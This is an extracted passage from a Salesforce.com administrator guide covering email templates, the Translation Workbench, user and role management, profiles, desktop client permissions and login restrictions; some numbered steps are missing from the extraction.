15. Optionally, enter a text-only version of your email. This will be available to recipients of your email that cannot read
HTML. Click Copy text from HTML version to automatically paste the text from your HTML version without the
HTML tags.
Note: Salesforce.com recommends that you leave the text-only version blank. When you leave the text-only version
blank, Salesforce.com automatically creates the text-only content based on the current HTML version. If you
choose not to leave the text-only version blank and instead manually create a text-only version, edits to the HTML
version are not reflected in the text-only version.
Tip: Click Send Test and Verify Merge Fields to view a sample of the template populated with data from records
you choose and send a test email.
433
Divisions Managing Email Templates
Note: Users cannot modify the content of a custom HTML template when they select it for use in an email.
See Also:
Adding Images to Email Templates
Creating Text Email Templates
Creating HTML Email Templates
Creating Visualforce Email Templates
Creating Letterheads
Cloning Email Templates
Cloning an email template involves saving an existing email template with a new name. To clone an email template:
1. To manage your personal email templates, click Setup ➤ Email ➤ My Templates. If you have permission to manage
public email templates, click Setup ➤ Communication Templates ➤ Email Templates.
2. Click the name of an email template in the list.
3. Click Clone.
4. Choose a folder in which to store the template.
5. Select the Available For Use checkbox if you would like this template offered to users when sending an email.
6. Enter an Email Template Name.
7. Enter a Description for the template. Both template name and description are for internal use only.
434
Divisions Managing Email Templates
8. Click Save.
See Also:
Managing Email Templates
Creating HTML Email Templates
Creating Text Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
You can include images or logos on your HTML and Visualforce email templates. For HTML with letterhead templates,
logos or images come from the letterhead you choose when creating the template.
When creating custom HTML or Visualforce templates, simply include img tags that reference the image. We recommend
uploading the images to the Documents tab and referencing the copy of the image on the Salesforce server. For example, for
HTML:
<img
src="https://na2.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=1270576568000"
alt="Company Logo" height="64" width="64"/>
Visualforce example:
<apex:image id="Logo"
value="https://na1-blitz02.soma.salesforce.com/servlet/servlet.ImageServer?id=015D0000000Dpwc&oid=00DD0000000FHaG&lastMod=127057656800"
width="64" height="64"/>
See Also:
Creating HTML Email Templates
Creating Custom HTML Email Templates
Creating Visualforce Email Templates
435
Divisions Managing Email Templates
Field Description
API Version (Visualforce email templates only) Displays the version number
of the Force.com API the template was created under.
Author The person who created the template.
Available for Use Indicates if users can use the template when sending emails.
Created By The name of the user who created the template.
Description Description of the template. This text is used as the title of
any activities logged when sending mass email. The Activity
History item displays as “Mass Email: {Template
Description}”.
Template Unique Name This is a unique name used to refer to the component when
using the Force.com API. In managed packages, this unique
name prevents naming conflicts on package installations. This
name can contain only underscores and alphanumeric
characters, and must be unique in your organization. It must
begin with a letter, not include spaces, not end with an
underscore, and not contain two consecutive underscores.
With the Template Unique Name field, a developer can
change certain components' names in a managed package and
the changes are reflected in a subscriber's organization.
Email Layout (HTML email templates only) Name of the column layout
sample that decides the text columns.
Encoding Indicates the character set for the email template.
Folder The place where the template is stored.
Last Used Date The most recent date that any user sent an email using the
template.
Letterhead (HTML email templates only) Name of the letterhead that
decides the logo, colors, and text settings. See Letterhead
Fields on page 422 for more details.
Modified By The name of the user who last modified the template.
Namespace Prefix The namespace prefix used by the email template within the
API.
Subject Subject of the email. This text appears in the Subject field of
every email sent with this template. It is also used as the title
of an activity logged when sending a single email. The Activity
History item displays as “Email: {Template Subject}”. The
436
Translation Workbench Setting Up the Translation Workbench
Field Description
subject is not stored in Activity History items that you log
when sending mass email.
Email Template Name Name to identify the template.
Text Body Body of the email. This text appears in the body of every email
sent with this template.
Times Used The total number of times that users have sent emails using
the selected template. This includes single and mass emails.
See Also:
Managing Email Templates
TRANSLATION WORKBENCH
The Translation Workbench lets you specify languages you want to translate, assign translators to languages, create translations
for customizations you’ve made to your Salesforce.com organization, and override translations from managed packages.
Everything from custom picklist values to custom fields can be translated so your global users can use all of Salesforce.com in
their language.
When a customized component is translated, changes to that component are tracked and the “Out of Date” indicator is set
when the translations need updating. You can manage translated values for Salesforce.com supported languages.
437
Translation Workbench Setting Up the Translation Workbench
Note: To translate standard and custom tabs and standard field labels that you've renamed, see Renaming Tab and
Field Labels on page 792. To rename a custom object, see Managing Custom Objects.
Enabling the Translation Workbench makes some changes to your Salesforce.com organization:
• Picklist values must be edited individually. This means you can’t mass edit existing picklist values, though you can still
mass add new values.
• When picklist values are sorted alphabetically, the values are alphabetical by the organization's default language.
• Reports have a Language drop down on the filter criteria page when any filter criteria uses the "starts with", "contains",
or "does not contain" operators.
• Import files have a Language drop down and all records and values within the import file must be in that language.
• Web-to-Lead and Web-to-Case have a Language drop down before you generate the HTML.
Note: Salesforce.com assumes all customizations are entered in the organization's default language—global
administrators should work together in the organization's default language.
Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only
be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation
Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation
permission, and assign those administrators you don't want managing the Translation Workbench to the new profile.
To disable the Translation Workbench, click Setup ➤ Translation Workbench ➤ Translation Settings ➤ Disable.
Note: In a Developer organization with a managed package containing translations, once the Translation Workbench
is enabled, it can't be disabled.
See Also:
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Administrator tip sheet: Setting Up the Translation Workbench
Localizing with the Force.com IDE
438
Translation Workbench Adding and Editing Translated Languages and Translators
Use the Translation Workbench to add languages that you support, activate or deactivate a language, assign translators for
that language, and enter translated terms for customizations you've made in your organization's default language.
Note: The Manage Translation permission is enabled by default in the System Administrator profile and can only
be edited in a custom profile. If you'd like only certain administrators to enable, disable, or manage the Translation
Workbench, you must create a new profile cloned from the System Administrator profile, disable the Manage Translation
permission, and assign those administrators you don't want managing the Translation Workbench to the new profile.
5. To assign translators for this language, select them from the Available List and click Add. If you don't see the member
you want to add, enter keywords in the search box and click Find.
Important: Ensure all translators have the "View Setup and Configuration" permission so that they can begin
translating. Users can only translate languages they're assigned to.
6. Click Save.
See Also:
Setting Up the Translation Workbench
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
439
Translation Workbench Entering Translated Terms
To enter translations:
4. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
5. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
440
Translation Workbench Entering Overrides to Translations in Managed Packages
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.
6. Click Save.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Overrides to Translations in Managed Packages
Updating Translated Terms
Translations from an installed managed package can't be translated; they are controlled by the developer. For more information,
see the Force.com Quick Reference for Developing Packages. To enter overrides to translations from managed packages:
441
Translation Workbench Entering Overrides to Translations in Managed Packages
• S-Control
• Solution Category
• Standard Field Help
• Validation Error Message
• Web Tab
• Workflow Task
5. If necessary select an object and aspect. For example, workflow tasks have an object (Account, Contact, etc.) and aspect
(Subject or Comment).
6. Double click in the override column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need to be changed.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.
7. Double click in the translation column to enter new values. You can press TAB to advance to the next editable field or
SHIFT-TAB to go to the previous editable field.
Note: The Out of Date column indicates that the item has been updated and the term may need translating.
When editing a button or link label, you see the Button or Link Name column, which is used to refer to the
component when using the Web services API.
8. Click Save.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Updating Translated Terms
442
User Management Updating Translated Terms
When translated components are changed, the translated value is marked Out of Date. Translators are responsible for
keeping the translated terms updated.
For best results, have your translators check their translations frequently, and be sure to notify them when changes occur.
See Also:
Setting Up the Translation Workbench
Adding and Editing Translated Languages and Translators
Entering Translated Terms
Entering Overrides to Translations in Managed Packages
USER MANAGEMENT
In Salesforce.com, every user is identified by a username, password, and a single profile. The profile determines what tasks
each user can perform, what data they see, and what they can do with the data.
Depending on your organization's Salesforce.com edition and the additional features your organization has purchased, you
may have user licenses—such as Marketing, Connect Offline, Sales Anywhere, Salesforce Mobile, and Salesforce CRM
Content—which give particular users the ability to access other features that are only available with a specific user license. A
user can be assigned to one or more of these licenses. You can also set up accounts for users outside your organization who
need to access a limited set of fields and objects. These user licenses can grant access to Customer Portal, partner portal, or
Self-Service. Finally, using Salesforce to Salesforce, you can create connections to share records with other Salesforce.com
users outside of your organization.
443
User Management Managing Users
As an administrator, you can perform user management tasks such as creating and editing users, resetting passwords, and
creating Google Apps accounts. You can also create and manage other types of users, create custom fields, set custom links,
run reports on users, and delegate user administration tasks to other users. For more information, see Managing Users on page
444.
You can control a user's access to data at several different levels:
See Also:
Assigning Record Types to Profiles
Managing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
To create or edit users, reset user passwords, and export users to Google to create Google Apps accounts, click Setup ➤
Manage Users ➤ Users.
For more information, see:
• Enabling the Customer Portal for Contacts and Person Accounts on page 159
• Self-Service for Contacts and Person Accounts on page 158
• Creating Partner Users on page 2534
444
User Management Managing Users
The user detail page shows you a list of all the users for your organization, partner portal, and Salesforce.com Customer Portal.
You can create custom list views to see different subsets of your users (see Creating Custom List Views on page 219). For
example, create a view with search criteria of “Profile Name equals Read Only” to show all users with the Read Only profile.
You can create custom fields for users and set custom links to display on the user detail page. Access these options via Setup
➤ Customize ➤ Users. For more information, see About Custom Fields on page 811 and Setting Custom Buttons and Links
on page 989.
In addition, you can use the sidebar search to search for any user in your organization, regardless of the user's status. However,
when using a lookup dialog from fields within records, the search results return only active users (see Search Overview on page
312 and Lookup Dialog Search on page 330). You can also run user reports in the Reports tab (see Administrative Reports on
page 2130).
To simplify user management in organizations with large numbers of users, delegate aspects of user administration to
non-administrator users (see Delegating Administrative Duties on page 581).
Note: You cannot delegate administrative duties related to your organization to partner portal or Customer Portal
users. However, you can delegate some portal administrative duties to portal users.
See Also:
Expiring Passwords
Deactivating Users
Logging In as Another User
Granting Checkout Access
Setting Quotas for Customizable Forecasting
Assigning Users to Roles
User Fields
Editing Your Personal Information
About Customer Portal User Management
The maximum number of users you can create is determined by your Edition:
445
User Management Managing Users
4. Select a User License. The profiles available to you depend on the user license you choose.
Note: Some options become unavailable depending on the license type you choose. For example, the Marketing
User and Allow Forecasting options are not available for Force.com user licenses because the Forecasts and
Campaigns tabs are not available to users with a Force.com license. Force.com user licenses are not available for
Professional, Group, or Contact Manager Editions.
5. Select a profile to control what permissions the user has, for example, System Administrator.
In Professional, Enterprise, Unlimited, and Developer Editions, choose the Solution Manager profile to allow a user to
review and publish solutions. Choose the Marketing User profile to enable a user to import leads and update campaign
history via the campaign member import wizards. See Managing Profiles on page 460.
6. In Professional, Enterprise, Unlimited, and Developer Editions, select a role from the list defined for the Role field.
See Managing Roles on page 454 if you have not set up the role hierarchy.
7. In Professional, Enterprise, and Unlimited Editions, you can enable additional features by selecting one or more of the
following checkboxes:
• Marketing User
• Offline User
• Mobile User
This checkbox only displays if you purchased Salesforce Mobile feature licenses.
• Salesforce CRM Content User
Note: In Summer '10, the Salesforce CRM Content feature license is included in all organizations at no
additional cost.
446
User Management Managing Users
You will not be able to select these features if they are not supported by your user license type. Additionally, you will not
be able to save the new user record if you do not have any available feature licenses for these features.
Note: Without the Marketing User checkbox selected, users can only view campaigns and advanced campaign
setup, edit the Campaign History for a single lead or contact, and run campaign reports. In addition, you can set
the user’s profile to Marketing User to enable the user to import leads and update campaign history via the member
import wizards.
8. In Unlimited, Enterprise and Developer Edition organizations, you can select Send Apex Warning Emails to send
email to the user when an application that invokes an Apex script uses more than half of the resources specified by the
governor limits. This feature can be used during Apex script development to test the amount of resources being used at
runtime. For more information, see Force.com Apex Code Overview on page 1538.
9. To set a user’s initial password, check Generate new password and notify user immediately to have the
user’s login name and a temporary password emailed to the new user.
• For Salesforce.com Customer Portal users, see Enabling the Customer Portal for Contacts and Person Accounts on page
159.
• For Self-Service portal users, see Self-Service for Contacts and Person Accounts on page 158.
• For partner users, see Creating Partner Accounts on page 2533.
Note: You can change the license type of a Salesforce.com license, making it a Force.com license, but you cannot
change a Force.com license into a Salesforce.com license. For more details, see Viewing User License Types on page
506.
See Also:
Editing Users
Deactivating Users
Managing Users
Setting Up Your Customer Portal
Setting Up Self-Service
Editing Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
447
User Management Managing Users
See Also:
Assigning Users to Roles
Adding New Users
Resetting Passwords
Managing Users
Viewing User License Types
About Customer Portal User Management
To view the public groups a user is a member of, click Setup ➤ Manage Users ➤ Users and select the user. In the Public
Group Membership related list, you can:
448
User Management Managing Users
See Also:
About Groups
To view the queues a user is a member of, click Setup ➤ Manage Users ➤ Users and select the user. In the Queue Membership
related list, you can:
See Also:
Managing Queues
Deactivating Users
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
You cannot completely delete users from the system, but you can deactivate their logins so that they can no longer use the
service.
449
User Management Managing Users
See Also:
Mass Transferring Records
Adding New Users
Editing Users
Managing Users
Disabling and Deactivating Portal Users
Resetting Passwords
Available in: Contact Manager, Group, Professional, Enterprise, Unlimited, and Developer Editions
If a user loses his or her password, the user can click the Forgot your password? link on a failed login page to have a new
password emailed to him or her. The user must correctly answer a previously defined security question before they can reset
their password and log in. See Changing Your Password on page 35.
To reset a user’s password:
450
User Management Managing Users
See Also:
Expiring Passwords
Managing Users
Expiring Passwords
Available in: Professional, Enterprise, Unlimited, and Developer Editions
To expire passwords for all users, except those with the “Password Never Expires” permission:
The next time each user logs in, he or she will be prompted to reset his or her password.
See Also:
Resetting Passwords
451
User Management Managing Users
To assist other users, administrators can log in to Salesforce.com as another user if that user has granted login access.
To log in as another user:
Note: You can also log in as another user from the user detail page and the Users in Role list page.
See Also:
Managing Users
Users with the “Manage Billing” permission automatically have access to Checkout when it is enabled for your organization.
These users can also grant access to other users within your organization.
To give a user access to Checkout:
452
User Management Managing Users
2. Click on the appropriate user's name to open the user detail page.
3. Click Edit.
4. Select the Checkout Enabled checkbox. The user is notified by email when his or her Checkout account is activated
and available for login.
Users with the appropriate permission can set their individual quota. Administrators and users with the appropriate permission
can always edit any quota, and managers can always change the quotas of users that report directly to them in the role hierarchy.
1. To set your personal quota, click Setup ➤ My Personal Information ➤ Personal Information. To change the quota of
a user that reports to you, click Setup ➤ Manage Users ➤ Users, and select the appropriate user.
2. Click Edit in the Quotas related list.
3. Select the appropriate range start and range length. If available, select a territory and product family.
Note: If your organization uses custom fiscal years, you cannot set quotas for a period that does not have a defined
fiscal year.
Note: If these options are not available to you, you may not have customizable forecasting. To determine if your
organization has enabled customizable forecasting, see Do I Have Customizable Forecasting? on page 1741. For
information on setting quotas if you do not have customizable forecasting, see Adding and Editing Quotas on page
38.
You can also use tools like the Data Loader to do mass updates on quotas. When updating quotas, set the quota field value
on the RevenueForecast or QuantityForecast objects. For more information, see RevenueForecast and QuantityForecast
in the Web Services API Developer's Guide.
See Also:
Managing Users
453
User Management Managing Roles
Managing Roles
Available in: Professional, Enterprise, Unlimited, and Developer Editions
Depending on your sharing settings, roles can control the level of visibility that users have into your organization’s data. Users
at any given role level can view, edit, and report on all data owned by or shared with users below them in the hierarchy, unless
your organization’s sharing model for an object specifies otherwise. Specifically, in the Organization-Wide Defaults related
list, if the Grant Access Using Hierarchies option is disabled for a custom object, only the record owner and users granted
access by the organization-wide defaults receive access to the object's records.
Note: The following information applies to roles for your organization's users. For information about roles for partner
users and Salesforce.com Customer Portal users, see About Partner Portal Channel Manager User Management on
page 2529 and About Customer Portal User Management on page 1338.
454
User Management Managing Roles
Tip: To simplify user management in organizations with large numbers of users, enable delegated administrators to
manage users in specified roles and all subordinate roles.
Notes on Roles
• Every user must be assigned to a role, or their data will not display in opportunity reports, forecast roll-ups, and other
displays based on roles. If your organization uses territory management, forecasts are based on the territory hierarchy rather
than the role hierarchy.
• All users that require visibility to the entire organization should belong to the highest level in the hierarchy.
• It is not necessary to create individual roles for each title at your company, rather you want to define a hierarchy of roles
to control access of information entered by users in lower level roles.
• When you change a user’s role, any relevant sharing rules are evaluated to add or remove access as necessary.
• When an account owner is not assigned a role, the sharing access for related contacts is Read/Write, provided the
organization-wide default for contacts is not Controlled by Parent. Sharing access on related opportunities and cases is
No Access.
• Users that gain access to data due to their position in hierarchies do so based on a setting in your organization-wide defaults.
See Also:
Viewing and Editing Roles
Setting Up Your Customer Portal
Managing Data Categories
What is Salesforce Knowledge?
To view detailed information about a role, click Setup ➤ Manage Users ➤ Roles, and click the role name.
In the Role Detail related list:
• To view the role detail page for a parent or sibling role, click the role name in the Hierarchy or Siblings list.
• To edit the role details, click Edit.
• To remove the role from the hierarchy, click Delete.
455
User Management Managing Roles
See Also:
Managing Roles
Role Fields
Managing Data Categories
What is Salesforce Knowledge?
3. Make a selection from the drop-down list to show the available users.
4. Select a user on the left, and click Add to assign the user to this role.
456
User Management Managing Roles
Note: Removing a user from the Selected Users list deletes the role assignment for that user.
See Also:
Role Fields
Managing Roles
Viewing and Editing Roles
Role Fields
Available in: Professional, Enterprise, Unlimited, and Developer Editions
The following fields (listed in alphabetical order) make up a role entry. Some of these fields may not be visible or editable
depending on your organization's permissions and sharing settings.
Field Description
Case Access Specifies whether users can access other users’ cases that are
associated with accounts the users own. This field is not visible
if your organization’s sharing model for cases is Public
Read/Write.
Contact Access Specifies whether users can access other users’ contacts that
are associated with accounts the users own. This field is not
visible if your organization’s sharing model for contacts is
Public Read/Write or Controlled by Parent.
Modified By The name of the user who last modified this role's details, and
the date and time that the role was modified.
Opportunity Access Specifies whether users can access other users’ opportunities
that are associated with accounts the users own. This field is
not visible if your organization’s sharing model for
opportunities is Public Read/Write.
Partner Role Indicates whether this role is associated with a partner account.
This field is available only when a Customer Portal or partner
portal is enabled for the organization.
If this checkbox is selected, you cannot edit the role. The roles
in a portal role hierarchy are fixed. You cannot customize them
or add new ones.
457
User Management Managing Roles
Field Description
Role Name Title of position or role in an organization, for example,
Western Sales VP.
Role Name as displayed on reports A role name that appears in reports. When editing a role, if
the Role Name is long, you can enter an abbreviated name
in this field.
Sharing Groups These groups are automatically created and maintained. The
Role group contains all users in this role plus all users in roles
above this role. The Role and Subordinates group contains all
users in this role plus all users in roles above and below this
role in the hierarchy. The Role and Internal Subordinates
group (available if Customer Portals or partner portals are
enabled for your organization) contains all users in this role
plus all users in roles above and below this role, excluding
Customer Portal and partner portal users.
This role reports to The role above this role in the hierarchy.
See Also:
Managing Roles
Viewing and Editing Roles
Assigning Users to Roles
Managing Roles
For each role in your hierarchy Salesforce.com automatically creates sharing groups, which you can use in sharing rules and
manual sharing:
458
User Management Managing Roles
If territory management is enabled for your organization, each territory has sharing groups:
Note: Users that gain access to data due to their position in hierarchies do so based on a setting in your
organization-wide defaults.
From this page, you can view detailed user information, edit user information, and access related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a username to edit the user information.
• Click Login next to a username to log in as that user. This link is only available if the user has granted you login access.
See Also:
Role Fields
The users in role list page displays a list of users assigned to the selected role. From this page, you can view detailed user
information, edit users, and access other related information.
• To show a filtered list of items, select a predefined list from the View drop-down list, or click Create New View to define
your own custom view. To edit or delete any view you created, select it from the View drop-down list and click Edit.
• Click Edit next to a user name to edit the user information.
459
User Management Managing Profiles
• Click Login next to a user name to log in as that user. This link is only available for users who have granted login access
to an administrator.
See Also:
Managing Roles
Managing Profiles
Available in: Enterprise, Unlimited, and Developer Editions
A profile contains the settings and permissions that control what users with that profile can do within Salesforce.com, the
partner portal, and the Customer Portal. Profiles control:
• Which standard and custom apps the user can view (depending on user license)
• Which tabs the user can view (depending on user license and other factors, such as access to Salesforce CRM Content)
• Which administrative and general permissions the user has for managing the organization and apps within it
• Which object permissions the user is granted to create, read, edit, and delete records
• Which page layouts a user sees
• The field-level security access that the user has to view and edit specific fields
• Which record types are available to the user
• Which desktop clients users can access and related options
• The hours during which and IP addresses from which the user can log in
• Which Apex classes a user can execute
• Which Visualforce pages a user can access
To create, edit, and delete profiles, click Setup ➤ Manage Users ➤ Profiles.
There are standard profiles in every Salesforce.com organization. In Contact Manager, Group, and Professional Edition
organizations, you can assign the standard profiles to your users, but you cannot view or edit the standard profiles or create
custom profiles. In Enterprise, Unlimited, and Developer Edition organizations, you can use standard profiles, or create, edit,
and delete custom profiles. For standard profiles, only certain settings can be changed.
460
User Management Managing Profiles
Each standard or custom profile belongs to exactly one user license type.
See Also:
User Management Overview
Viewing Profile Lists
Key Profile Permissions
Standard Profiles
The standard profiles available vary according to the Edition you have.
There are standard profiles in every Salesforce.com organization. In Enterprise, Unlimited, and Developer Edition, you can
use standard profiles or create, edit, and delete custom profiles. In organizations where you can't create custom profiles (such
as Contact Manager, Group, and Professional Edition), you can assign standard profiles to your users, but you can't view or
edit them.
461
User Management Managing Profiles
Customer Portal User Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Customer Portal Manager Can only log in via a Customer Portal. Can view and edit data
they directly own or data owned by or shared with users below
them in the Customer Portal role hierarchy; and they can view
and edit cases where they are listed in the Contact Name
field.
Solution Manager Can review and publish solutions. Also has access to the same
functionality as the Standard User.
Marketing User Can manage campaigns, import leads, create letterheads, create
HTML email templates, manage public documents, and
update campaign history via the import wizards. Also has
access to the same functionality as the Standard User.
Contract Manager Can create, edit, activate, and approve contracts. This profile
can also delete contracts as long as they are not activated. Can
edit personal quota and override forecasts.
Read Only Can view the organization's setup, run and export reports, and
view, but not edit, other records.
Chatter Only User Can only log in to Salesforce Chatter. Can access all standard
Chatter people, profiles, groups, and files. In addition, can
view Salesforce.com accounts and contacts, and modify up to
seven custom objects.
462
User Management Managing Profiles
See Also:
Managing Profiles
Viewing and Editing Profiles
Administrative and General Permissions on Profiles
Object Permissions on Profiles
About Customer Portal User Management
A profile contains the settings and permissions that control what users with that profile can do within Salesforce.com, the
partner portal, and the Customer Portal. To view the profiles in your organization, click Setup ➤ Manage Users ➤ Profiles.
463
User Management Managing Profiles
If enhanced profile management is enabled for your organization, you can create profile list views to show a set of profiles with
the fields you choose. For example, you could create a list view of all profiles in which “Modify All Data” is enabled.
4. Under Select Columns to Display, specify the profile settings that you want to appear as columns in the list view.
a. From the Search drop-down list, select the type of setting you want to search for.
b. Enter part or all of a word in the setting you want to add and click Find.
464
User Management Managing Profiles
Note: If the search finds more than 500 values, no results appear. Use the preceding steps to refine your search
criteria and show fewer results.
c. To add or remove columns, select one or more column names and click the Add or Remove arrow.
d. Use the Top, Up, Down, and Bottom arrows to arrange the columns in the sequence you want.
Note: You can add up to 15 columns in a single list view.
5. Click Save.
See Also:
Managing Profiles
Editing Profiles Using Profile Lists
Viewing Profile Lists
Deleting List Views
465
User Management Managing Profiles
Note: When you create a profile, it uses the same user license as the profile it was cloned from.
Editing a Profile
You can edit all settings in a custom profile. In standard profiles, you can edit all settings except name and description, and
object, app, and system permissions.
1. Click Setup ➤ Manage Users ➤ Profiles.
2. Select the profile you want to edit.
3. On the profile detail page, click Edit to change any of the following settings:
• For custom profiles only, the name and description
• The standard or custom apps that are visible to users with the profile.
Note: Every profile must have at least one visible app, except for profiles associated with Customer Portal users
because apps are not available to them. Standard apps are only available to Salesforce.com user license types.
Tip: If enhanced profile management is enabled for your organization, you can change permissions for multiple
profiles from the list view.
You can also view or edit the following settings from the profile detail page:
466
User Management Managing Profiles
See Also:
Managing Users
Standard Profiles
Managing Profiles
If enhanced profile management is enabled for your organization, you can change permissions in up to 200 profiles directly
from the list view, without accessing individual profile pages. Editable fields display a pencil icon ( ) when you hover over
the field, while non-editable fields display a lock icon ( ). In some cases, such as in standard profiles, the pencil icon appears
but the setting is not actually editable.
Caution: Use care when editing profiles with this method. Because profiles affect a user's fundamental access, making
mass changes may have a widespread effect on users in your organization.
1. Select or create a list view that includes the profiles and permissions you want to edit.
2. To edit multiple profiles, select the checkbox next to each profile you want to edit. If you select profiles on multiple pages,
Salesforce.com remembers which profiles are selected.
3. Double-click the permission you want to edit. For multiple profiles, double-click the permission in any of the selected
profiles.
4. In the dialog box that appears, enable or disable the permission. In some cases, changing a permission may also change
other permissions. For example, if “Manage Cases” and “Transfer Cases” are enabled in a profile and you disable “Transfer
Cases,” then “Manage Cases” is also disabled. In this case, the dialog box lists the affected permissions.
467
User Management Managing Profiles
5. To change multiple profiles, select All n selected records (where n is the number of profiles you selected).
6. Click Save.
Note:
• For standard profiles, inline editing is available only for the “Single Sign-On” and “Affected By Divisions”
permissions.
• If you edit multiple profiles, only those profiles that support the permission you are changing will change. For
example, if you use inline editing to add “Modify All Data” to multiple profiles and one profile is a platform profile
(which doesn't have “Modify All Data”) the platform profile won't change.
If any errors occur, an error message appears, listing each profile in error and a description of the error. Click the profile name
to open the profile detail page. The profiles you've clicked appear in the error window in gray, strike-through text.
Note: To view the error console, pop-up blockers must be disabled for the Salesforce.com domain. To check if your
browser allows pop-up windows, click Setup ➤ My Personal Information ➤ Reminders, and then click Preview
Reminder Alert.
To review your changes in the setup audit trail, select Setup ➤ Security Controls ➤ View Setup Audit Trail.
See Also:
Viewing Profile Lists
• If you want every user with this profile to use the tab visibility settings that you specify, select Overwrite users' personal
tab customizations.
• Specify the tab visibility for standard and custom objects. The settings are:
Setting Description
Default On Show the tab by default for users with this profile. Individual users can override
this setting. The Home tab setting can't be changed from Default On.
Default Off Hide the tab by default for users with this profile. Individual users can override
this setting.
468
User Management Managing Profiles
Setting Description
Tab Hidden Hide the tab and don't allow individual users to override this setting in their
personal customization. Using this setting doesn't prevent users from accessing
the records or list views from a tab; to prevent users from seeing records of
that object type, remove the “Read” permission for the object.
4. Click Save.
Note: If Salesforce CRM Content is enabled for your organization but an administrator has not selected the Salesforce
CRM Content User checkbox on the user detail page, the Salesforce CRM Content app has no tabs. The tabs display
when the Salesforce CRM Content User checkbox is selected.
After creating record types and including picklist values in them, add record types to user profiles and assign a default record
type for each profile. When you add a record type to a profile, users with that profile can assign that record type to records
they create or edit. Note that any user can view records having any record type, even if the record type is not associated with
their profile.
A profile can be associated with several record types. For example, a user who creates opportunities for both hardware and
software sales can have both “Hardware” and “Software” record types available when creating opportunities if both record
types have been added to the user’s profile.
1. Click Setup ➤ Manage Users ➤ Profiles.
2. Select a profile. The record types available for that profile are listed in the Record Type Settings section.
3. Click Edit next to the appropriate type of record.
4. Select a record type from the Available Record Types list and add it to the Selected Record Types list to make it available
to users with that profile.
Tip: Master is the hidden system record type for records that have no record type assigned. You cannot explicitly
assign Master to records, but you can make it the only record type assigned to a profile when no other record types
are desired.
469
User Management Managing Profiles
6. If your organization uses person accounts, set additional options for the default record types for both person accounts and
business accounts. These settings are used when defaults are needed for both kinds of accounts, such as when converting
leads.
• From the Business Account Default Record Type drop-down list, choose a default record type for business
accounts.
• From the Person Account Default Record Type, choose a default record type for person accounts.
7. Click Save.
Options in the Record Type Settings section are blank wherever no record types exist. For example, if you have two record
types for opportunities but no record types for accounts, the Edit link only displays for opportunities. In this example, the
picklist values and default value for the master are available in all accounts.
Note: If your organization uses person accounts, you can view the record type defaults for business accounts and
person accounts in the Account Record Type Settings section of the profile detail page. Also, clicking Edit in that
section is an alternative way of opening the page where you set record type defaults for accounts. For more information,
see What is a Person Account? on page 54.
See Also:
Managing Record Types
Setting Record Type Preferences
Connect for Outlook, Connect Offline, Connect for Office, and Connect for Lotus Notes are desktop clients that integrate
Salesforce.com with your PC. As an administrator, you can control which desktop clients your users can access as well as
whether users are automatically notified when updates are available.
In Enterprise, Unlimited, and Developer Editions, use the following procedure to set your users' desktop client permissions.
Note that Connect Offline is the only client available with Developer Edition. In Personal, Group, and Professional Editions,
all users have the system default “On, updates w/o alerts” for all clients.
470
User Management Managing Profiles
Option Meaning
Off (access denied) The respective client download page at Setup ➤ Desktop Integration
is hidden. Also, users cannot log in from the client.
On, no updates The respective client download page at Setup ➤ Desktop Integration
is hidden. Users can log in from the client but are not allowed to upgrade
it from their current version.
On, updates w/o alerts Users can download, log in from, and upgrade the client, but do not see
alerts when a new version is made available.
On, updates w/alerts Users can download, log in from, and upgrade the client. They will see
update alerts, which they can choose to follow or ignore.
On, must update w/alerts Users can download, log in from, and upgrade the client. When a new
version is available, they will see an update alert. They will not be able
to log in from the client until they have upgraded it.
4. Click Save.
Note:
• Desktop client access is available only for users whose profiles have the “API Enabled” permission.
• If users in your organization have a Connect for Outlook version earlier than 2.0 (such as version 115), and their
profile setting is “Off (access denied)” or “On, must update w/alerts,” the error Invalid Salesforce.com
API request may occur when they attempt to log in to Connect for Outlook. Users with Connect for Outlook
2.0 or later will see an appropriate descriptive message.
If users can see alerts and they have logged in to Salesforce.com from the client in the past, an alert banner automatically
appears in the Home tab when a new version is available. Clicking the banner opens the Check for Updates page, where users
can download and run installer files. Users can also click Setup ➤ Desktop Integration ➤ Check for Updates, regardless of
whether an alert has occurred.
See Also:
Administrator tip sheet: Administering Salesforce Desktop Clients
Force.com Connect for Microsoft Outlook® Overview
Force.com Connect Offline Overview
Force.com Connect for Microsoft Office® Overview
Force.com Connect for Lotus Notes Overview
471
User Management Managing Profiles
To help protect your organization's data against unauthorized access, you can restrict users’ ability to log in to Salesforce.com
by customizing user profiles and your organization's list of trusted IP addresses.
Profile-Based Login Hours and IP Addresses
For each profile, you can set the hours when users can log in and the IP addresses from which they can log in.
When users log in to Salesforce.com, either via the user interface, the API, or a desktop client such as Connect for Outlook,
Salesforce CRM for Outlook, Connect Offline, Connect for Office, Connect for Lotus Notes, or the Data Loader,
Salesforce.com confirms that the login is authorized as follows:
